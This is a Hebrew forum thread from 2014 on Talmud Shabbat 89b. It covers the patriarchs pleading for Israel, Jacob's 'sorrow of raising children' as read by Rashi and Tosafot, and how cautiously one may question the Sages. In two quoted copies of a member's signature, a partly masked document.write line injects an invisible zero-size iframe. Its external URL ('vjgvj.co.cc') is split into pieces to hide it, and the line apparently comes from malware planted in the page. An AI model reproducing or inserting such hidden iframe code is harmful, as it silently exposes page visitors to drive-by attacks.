|
|
| נשלח ב-28/11/2014 08:01 |
 |
| |
תלמוד בבלי מסכת שבת דף פט עמוד ב
אמר רבי שמואל בר נחמני אמר רבי יונתן: מאי דכתיב כי אתה אבינו כי אברהם לא ידענו וישראל לא יכירנו אתה ה' אבינו גואלנו מעולם שמך.
לעתיד לבא יאמר לו הקדוש ברוך הוא לאברהם: בניך חטאו לי.
אמר לפניו: רבונו של עולם - ימחו על קדושת שמך.
אמר: אימר ליה ליעקב דהוה ליה צער גידול בנים, אפשר דבעי רחמי עלייהו.
אמר ליה: בניך חטאו. - אמר לפניו: רבונו של עולם, ימחו על קדושת שמך. -
אמר: לא בסבי טעמא, ולא בדרדקי עצה.
אמר לו ליצחק: בניך חטאו לי. -
אמר לפניו: רבונו של עולם, בני ולא בניך? בשעה שהקדימו לפניך נעשה לנשמע, קראת להם בני בכורי, עכשיו בני ולא בניך?
ועוד, כמה חטאו? כמה שנותיו של אדם - שבעים שנה. דל עשרין דלא ענשת עלייהו - פשו להו חמשין. דל עשרין וחמשה דלילותא - פשו להו עשרין וחמשה. דל תרתי סרי ופלגא, דצלויי ומיכל ודבית הכסא - פשו להו תרתי סרי ופלגא. אם אתה סובל את כולם - מוטב, ואם לאו - פלגא עלי ופלגא עליך. ואם תמצא לומר כולם עלי - הא קריבית נפשי קמך.
פתחו ואמרו: (כי) אתה אבינו. אמר להם יצחק: עד שאתם מקלסין לי - קלסו להקדוש ברוך הוא, ומחוי להו יצחק הקדוש ברוך הוא בעינייהו. מיד נשאו עיניהם למרום ואומרים אתה ה' אבינו גואלנו מעולם שמך.
כמו בדרש הקודם, גם כאן דומה שהכל נועד להכין לקראת המסקנה הסופית: הקב"ה יגאל את ישראל, הקב"ה רוצה שהאבות ילמדו זכות על הבנים - וכמה אנו זקוקים שילמדו עלינו זכות!
מדוע דווקא יצחק נבחר ללמד זכות, זה ברור. הוא זה שהקריב את עצמו בהר המוריה, לפי המדרש שהיה בגיל בחירה כמובן.
הדרש כולל גם את המשחק המשעשע של חלוקת שנות האדם לשעות של שינה, ואפילו אכילה וטיפול בצרכי הגוף שבהם אין עבירה בפועל...
מה שמראה לנו כיצד ניתן ללמד זכות. וראוי לשאול מה זה מלמד אותנו.
ואכן סוף טוב הכל טוב. ה' סולח, עם ישראל מודים ליצחק, והוא, לאחר שלימד זכות ויצר תחושה של בטחון ואהבה, יכול גם לומר תוכחה: הודו לה' ולא לי.
ולפי דרכנו למדנו איך מכינים רקע לאמירת תוכחה וקבלתה.
***
אגב הדרש מזכירים את היתרון שיש ליעקב שבשלו יש לקב"ה לומר: אולי יעקב יהיה רחמן מאברהם. שהרי אברהם, לפי דעתי אם גם בגמרא יש מקום שבו נאמר אחרת, הוא הוא המובחר באבות. אבל יעקב היה "יותר אבא" כפי שכתבתי לעיל, בעוד אברהם הינו "אב המון גויים".
וכיצד זה? מפני שככל שהאדם משקיע יותר בילדים, סובל יותר, ושותק יותר, ומכיל יותר (בלשוננו), כך מתחזקת אהבתו. וכפי שביאר יפה יפה הרב דסלר.
(במשפט אחד: נתינה יוצרת אהבה).
מה היו אירועי צער גידול בנים שלו כתבתי לעיל סיכום קצר. ראו שם.
וגם אם יש למצוא פגמים וחסרונות באבינו יעקב, אין הם מקלקלים את גדולתו. ואדרבה, לעתים גדולתו של אדם ניכרת מתוך התחלות צנועות או פחות מוצלחות, וגם היא ניכרת לא רק מתוך ההישג מתחילה ועד סוף, אלא דווקא מתוך התגברות על כשלון תחילי. (כגון יוסף, שלפי דעה אחת בא להיכשל עם אשת פוטיפר ותפס את עצמו לאחר מכן). זו גישה שיש להודות שמופיעה בחסידות, אבל היא לדעתי נכונה מאד ומועילה מאד בתור נראטיב עבורנו, עבור האדם, לראות את עצמו בעבודת ה' שלו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-28/11/2014 08:09 |
|
| |
אייזין
שתי הערות קטנות או גדולות:
כתבת על יעקב:
הוא ידע שאם ימות אחד מבניו בימיו הוא יירד שאולה
אך ידע שכל בניו יהיו צדיקים 12 שבטי יה
מנין לך כל זאת? זה שיעקב פחד לרדת שאולה, זה כתוב עליו. אבל שם זה בגלל הצער על אבדן בנו.
ומה שכתבת ש"ידע" שבניו יהיו צדיקים וגם שבטים, זאת מנלן? יש מדרשים כאלו, אבל גם עליהם יש לשאול.
דע לך שיש שתי גישות עקרוניות לספורי המקרא. האחת באה לידי ביטוי יוצא מהכלל בספר "ילקוט מעם לועז". זו שבאה לידי ביטוי במה שאתה כותב ובשאלותיך.
השניה קוראת את סיפורי המקרא כעל בני אדם. בני אדם שהתמודדו והתעלו. ולכן הם רלוונטיים עבורנו.
לפי הגישה הראשונה, האבות ידעו כל מיני דברים על היסטוריה שיכלה להיות אחרת לגמרי. למשל, יוסף ובנימין ידעו שיהיה עם ישראל, שהם יגורו בארץ, שיהיה להם מקדש, ושהמקדש ייחרב.
לפי הגישה השניה, מדוע שיוסף ובנימין בכלל ידמיינו לעצמם כזו אפשרות רחוקה כאשר אפילו הקרבנות, לפי גישה אחת לפחות, ניתנו רק בדיעבד עקב חטא העגל? וכי ה' מגלה לנביא דברים כה רחוקים? אין אלו אלא דברי תימה.
ומה שחז"ל אמרו אותם, יש אכן להבין מדוע חז"ל השתמשו בדרשות כאלו, ומסתבר לומר שחז"ל קישטו רעיונות על ידי ייחוסם אחורה לדורות האבות והשבטים, אבל גם הדרשנים עצמם לא חששו שהדברים ייתפסו כפשט. אחר זה ממש לשון הרע (או שם רע) על חז"ל.
***
עוד כתבת בתחילת דבריך:
מצינו בחז''ל הגדרה על יעקב אבינו שהיה לו צער גידול בנים
ולכאורה לא הבנתי למה היה לו צער גדול יותר מאברהם ויצחק
עד כאן ציטוט.
שמת לב לאופן הביטוי הזה? זה נפוץ בינינו וזה יכול להחשב ל"ביטוי חרדי".
מה פירוש "לכאורה לא הבנתי"? האם כוונתך שבאמת הבנת אבל אינך מבין מה אתה מבין?
למה לא תכתוב פשוט: "לא הבנתי"?
איני בא להאשימך חלילה אלא להפנות את תשומת לבנו לזהירות העצומה שלנו שלא תהיה כעין קושיה על דברי חכמים. ולכן אפילו כאשר יש קושי זה רק "קושי לכאורה" וממילא כאשר איני מבין, זה רק "לכאורה". וראוי לפתוח על זה אשכול.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
| נשלח ב-28/11/2014 08:17 |
|
| |
| מיימוני כתב: |  | אייזין
שתי הערות קטנות או גדולות:
כתבת על יעקב:
הוא ידע שאם ימות אחד מבניו בימיו הוא יירד שאולה
אך ידע שכל בניו יהיו צדיקים 12 שבטי יה
מנין לך כל זאת? זה שיעקב פחד לרדת שאולה, זה כתוב עליו. אבל שם זה בגלל הצער על אבדן בנו.
ומה שכתבת ש"ידע" שבניו יהיו צדיקים וגם שבטים, זאת מנלן? יש מדרשים כאלו, אבל גם עליהם יש לשאול.
דע לך שיש שתי גישות עקרוניות לספורי המקרא. האחת באה לידי ביטוי יוצא מהכלל בספר "ילקוט מעם לועז". זו שבאה לידי ביטוי במה שאתה כותב ובשאלותיך.
השניה קוראת את סיפורי המקרא כעל בני אדם. בני אדם שהתמודדו והתעלו. ולכן הם רלוונטיים עבורנו.
לפי הגישה הראשונה, האבות ידעו כל מיני דברים על היסטוריה שיכלה להיות אחרת לגמרי. למשל, יוסף ובנימין ידעו שיהיה עם ישראל, שהם יגורו בארץ, שיהיה להם מקדש, ושהמקדש ייחרב.
לפי הגישה השניה, מדוע שיוסף ובנימין בכלל ידמיינו לעצמם כזו אפשרות רחוקה כאשר אפילו הקרבנות, לפי גישה אחת לפחות, ניתנו רק בדיעבד עקב חטא העגל? וכי ה' מגלה לנביא דברים כה רחוקים? אין אלו אלא דברי תימה.
ומה שחז"ל אמרו אותם, יש אכן להבין מדוע חז"ל השתמשו בדרשות כאלו, ומסתבר לומר שחז"ל קישטו רעיונות על ידי ייחוסם אחורה לדורות האבות והשבטים, אבל גם הדרשנים עצמם לא חששו שהדברים ייתפסו כפשט. אחר זה ממש לשון הרע (או שם רע) על חז"ל.
***
עוד כתבת בתחילת דבריך:
מצינו בחז''ל הגדרה על יעקב אבינו שהיה לו צער גידול בנים
ולכאורה לא הבנתי למה היה לו צער גדול יותר מאברהם ויצחק
עד כאן ציטוט.
שמת לב לאופן הביטוי הזה? זה נפוץ בינינו וזה יכול להחשב ל"ביטוי חרדי".
מה פירוש "לכאורה לא הבנתי"? האם כוונתך שבאמת הבנת אבל אינך מבין מה אתה מבין?
למה לא תכתוב פשוט: "לא הבנתי"?
איני בא להאשימך חלילה אלא להפנות את תשומת לבנו לזהירות העצומה שלנו שלא תהיה כעין קושיה על דברי חכמים. ולכן אפילו כאשר יש קושי זה רק "קושי לכאורה" וממילא כאשר איני מבין, זה רק "לכאורה". וראוי לפתוח על זה אשכול.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אכן כך שעלינו לנקוט בלשון זהירה כאשר אנו באים לומר משהו על דברי קדשם של חכמינו ז''ל
|
|
|
|
|
| נשלח ב-28/11/2014 15:05 |
|
| |
אייזן,
כבר אלפי שנים בני ישראל אינם באמת מאוחדים בגלל מחלוקת לשם שמים בין יהודה ויוסף, והגאולה על-כן מתעכבת ולכל בני ישראל יש צער מהתמשכות הגלות, אז איך אפשר לומר שליעקב אבינו שהבין את הדברים בכללות לדורי דורות ללא פניות ורצה שבניו יהיו מאוחדים כאיש אחד בלב אחד לא היה צער גידול בנים?
|
|
|
|
| נשלח ב-28/11/2014 15:49 |
|
| |
פירוש רש"י ופירוש התוספות (סנהדרין יט:) מהו צער גידול בנים של יעקב.
לדעת רש"י, צער גידול בנים של יעקב הוא טורח השבטים שהוטל עליו, כלומר על יעקב הוטל לכונן את שבטי ישראל, וזו משימה כבדה.
לדעת התוספות צער גידול בנים הוא צער של יוסף ואחיו וגלגול ירידת מצרים, כלומר צער פירוד הלבבות של בניו וגלגול הגלות.
לכונן את שבטי ישראל זה טורח שיש בו צער, היאך לחנך את הבנים כך שכל שבט ושבט שומר על ייחודו-הוא וכולם יחדו מאוחדים בעבודת השם. בפועל מחלוקת יוסף ואחיו וגלגול ירידת מצרים הם פועל יוצא של המרחק בין המציאות בפועל למחשבה האידאלית של יעקב, וזה צער גידול בנים של יעקב.
תוקן על ידי מם80 ב- 28/11/2014 15:52:01
|
|
|
|
| נשלח ב-29/11/2014 19:38 |
|
| |
מיימוני
שתי הערות:
א. כתבת: "(במשפט אחד: נתינה יוצרת אהבה)."
כמו שכתבתי באשכול הסמוך (כמה עלה לנו מעמד הר סיני) - קחנו משם - זוהי טעות חמורה. נתינה לא יוצרת אהבה. בקצרה: אם תזרוק בקבוק לפח הבקבוקים, ומאן דהוא יאסוף אותו - האם זה יגרום לך לאהוב את אותו מאן דהוא? היכרות יוצרת אהבה - או שנאה. היכרות עם מעלות יוצרת אהבה, ולהיפך. אהבה הינה רצון לאיחוד כוחות. וזוהי הסיבה לכך שהיכרות עם מעלות יוצרת אהבה. נתינה הינה איחוד הכוחות בעצמו. לכן כמובן כשנותנים מרגישים את האהבה, ובאופן עקיף זה גם *מחזק* את האהבה. אבל לא "יוצר" אפילו פסיק של אהבה.
ב. כתבת: "לפי הגישה השניה, מדוע שיוסף ובנימין בכלל ידמיינו לעצמם כזו אפשרות רחוקה כאשר אפילו הקרבנות, לפי גישה אחת לפחות, ניתנו רק בדיעבד עקב חטא העגל? וכי ה' מגלה לנביא דברים כה רחוקים? אין אלו אלא דברי תימה.".
אני מסכים עם הגישה שלפי הפשט מעולם לא דוברו דברים כאלו. אבל כוונת הדרש היא לומר - למשל, מה היה אברהם אמר אילו... אילו היה רואה בחטאי צאצאיו, מה היה יוסף אומר אילו... היה אומר: אתם רואים? על זה בכיתי. כלומר, זה הכל מונח בשורש הדברים. ככל שמתרחקים מחיי השורש, כך צריך להרחיב את דימויי הפרטים, כדי להמחיש כיצד נראה השורש. זוהי גם הסיבה לדרשות כמו "כל האומר פלוני חטא אינו אלא טועה". זוהי גם הסיבה לייחוס הזוהר לרשב"י. ולעוד הרבה רעיונות, שגם אם הם לא נכונים, הם באו להמחיש דבר ואין לפוטרם בלא כלום. ואמנם ייתכן שמשהו או הרבה מישהויים הגזימו בדימוי הפרטים, אבל תמיד צריך לשקול את זה מול הסיבות לדרשות, לפני שמוחקים אותם. וגם לפעמים טוב לדעת אותם בשביל המסר היוצא מהם. אינני אומר שהערתך לא במקום. (למעשה אף אני לומדתי בילדותי להעיר הערות מעין אלו). אבל רק רציתי להזכיר, שיש נקודת מבט שונה, שממנה הדרשות באמת אינם רק סיפורי דמיון בעלמא. ואדרבה, מתוך נקודת מבט כזו, האדם לומד כיצד לראות את הטמון בדברים, וממילא החלק הדמיוני יאבד את המקום שבו נתפס. שכשגדלים על מדרשים מסויימים, אי אפשר לוותר עליהם לגמרי כ"כ בקלות (ויש לזה סיבה) אלא אם כן תוך כדי השארת סימנים בלתי נעימים באדם. לכן כדאי תמיד למצוא את ה"פשט" שבדרש, ומתוך כך לעלות אלא ה"פשט" שבפשט.
תוקן על ידי אליקים7241 ב- 29/11/2014 19:41:46
|
|
|
|
|
| נשלח ב-29/11/2014 21:13 |
|
| |
אייזין
לא הסברתי עצמי היטב.
יש זהירות - ויש עודף זהירות. שהוא פסול.
שים לב לביטוי "לכאורה לא הבנתי". אם הבנת אז הבנת. אם לא, אז מה יש כאן "לכאורה"?
כנ"ל כאשר כותבים "קשה". זה קושי. יתכן שהקושי נובע מהשואל ויתכן שהוא מהטקסט. אבל זה עדיין קשה. אז למה לא לומר זאת?
זה מוביל לשאלה גדולה עוד יותר, שדומה שכבר נידונה בפורום. זה שאנו מכבדים את חכמים אינו פוסל אותנו מלדון בדבריהם ולהתאמץ להבינם, וגם להודות כאשר יש בהם קושי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-29/11/2014 21:28 |
|
| |
| מיימוני כתב: | | אייזין
לא הסברתי עצמי היטב.
יש זהירות - ויש עודף זהירות. שהוא פסול.
שים לב לביטוי "לכאורה לא הבנתי". אם הבנת אז הבנת. אם לא, אז מה יש כאן "לכאורה"?
כנ"ל כאשר כותבים "קשה". זה קושי. יתכן שהקושי נובע מהשואל ויתכן שהוא מהטקסט. אבל זה עדיין קשה. אז למה לא לומר זאת?
זה מוביל לשאלה גדולה עוד יותר, שדומה שכבר נידונה בפורום. זה שאנו מכבדים את חכמים אינו פוסל אותנו מלדון בדבריהם ולהתאמץ להבינם, וגם להודות כאשר יש בהם קושי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
בספרים זה נקרא עומק המושג וקוצר המשיג
קשה לנו להבין את דברי חכמינו לעומק ולכן כשאנו באים לשאול על דבריהם עלינו להבין שהבעיה אצלנו
|
|
|
|
| נשלח ב-29/11/2014 21:32 |
|
| |
אברהם נבחר להיות אבי האומה לכאורה בלי כל מעשה מצידו. כמו נח את האלוקים התהלך נח.
גם חייו לא היו מושלמים כלל וכלל לא. הרבה ביקורת היה עליו מהפרשנים. וכן יצחק, ובעיקר יעקב, ולמרות זאת הם נבחרו להיות האבות.
אצל משה כתוב וילך איש מבית לוי ויקח את בת לוי ותהר- לכאורה סיפור מיותר.
התורה מספרת לנו- דע לך כי האיש משה נולד כמו כל ילד נורמלי לאבא ואמא נורמליים. בלי יחוס משפחתי . בלי קדושה וגדולה מדומים. כך משה וכך האבות.\הם לא היו קדושים ולא שונים מכל אדם אחר.
הם לא היו קדושים ומשונים. כנראה שהתורה רומזת לנו רמז דק-
|
|
|
|
| נשלח ב-29/11/2014 21:48 |
|
| |
| ירוחםשמ כתב: | | אברהם נבחר להיות אבי האומה לכאורה בלי כל מעשה מצידו. כמו נח את האלוקים התהלך נח.
גם חייו לא היו מושלמים כלל וכלל לא. הרבה ביקורת היה עליו מהפרשנים. וכן יצחק, ובעיקר יעקב, ולמרות זאת הם נבחרו להיות האבות.
אצל משה כתוב וילך איש מבית לוי ויקח את בת לוי ותהר- לכאורה סיפור מיותר.
התורה מספרת לנו- דע לך כי האיש משה נולד כמו כל ילד נורמלי לאבא ואמא נורמליים. בלי יחוס משפחתי . בלי קדושה וגדולה מדומים. כך משה וכך האבות.\הם לא היו קדושים ולא שונים מכל אדם אחר.
הם לא היו קדושים ומשונים. כנראה שהתורה רומזת לנו רמז דק- |
|
בן ג' שנים הכיר את בוראו
נתץ את העבודה זרה של אביו
אלוקי השמים ואלוקי הארץ שפירסם אותו בכל העולם
|
|
|
|
| נשלח ב-29/11/2014 22:09 |
|
| |
אני מדבר על מה שכתוב בתורה ומה שהתורה מספרת לנו.
|
|
|
|
| נשלח ב-30/11/2014 00:07 |
|
| |
| ירוחםשמ כתב: | | אני מדבר על מה שכתוב בתורה ומה שהתורה מספרת לנו. |
|
אלוקי השמים ואלוקי הארץ כתוב בתורה
|
|
|
|
| נשלח ב-30/11/2014 10:53 |
|
| |
נכון אז מה זה כתוב, זה לא כתוב לפני שהוא נבחר, אלא 60 שנה לאחר מכן.
|
|
|
|
| נשלח ב-30/11/2014 18:23 |
|
| |
לנו זה נודע אחר כך
|
|
|
|
| נשלח ב-30/11/2014 18:52 |
|
| |
אייזין
עלה כאן נושא חדש באשכול.
האם ובאיזו מידה - ומחמת מה - אנו מתקשים בדברי חכמים.
אתה כתבת:
בספרים זה נקרא עומק המושג וקוצר המשיג
קשה לנו להבין את דברי חכמינו לעומק ולכן כשאנו באים לשאול על דבריהם עלינו להבין שהבעיה אצלנו
אני חושש שאיני מסכים עמך.
דברי חז"ל אינם כה קשים. הקושי נובע בעיקר מאי הכרת הרקע שלהם. אם מכירים את הנושא, אז זה ברור ומתבקש.
ובוודאי שאין איסור לומר שמשהו מדבריהם קשה להבנה.
ואילו הקביעה שיש בינינו מישהו שעליו אפשר לומר שהוא סובל מ"קוצר המשיג" - זו נראית התנשאות על המשיג. אולי להפך, אולי הוא מבין טוב והחומר קשה או מכיל סתירות?
איני בא לומר שאפשר לדחות את דברי חכמים בקלות בלי להתאמץ להבינם, אך גם לא צריך לזלזל בלומדים. ומדוע אני כותב זאת? מפני שבעולם הישיבות שלנו בדורות האחרונים יש זהירות יתר מפני החשבת יכולת הלימוד שלנו והעלאה יתרה על נס של חכמים. כמעט נוצר הרושם שדברי חכמים מדורות קודמים - ולמעשה כמעט כל מי שהיה לפנינו נחשב לפעמים בגדר זה - כולם הינם "בלתי ניתנים להשגה", "עמוקים מדי", ועוד. ואין הכרח לומר כן.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
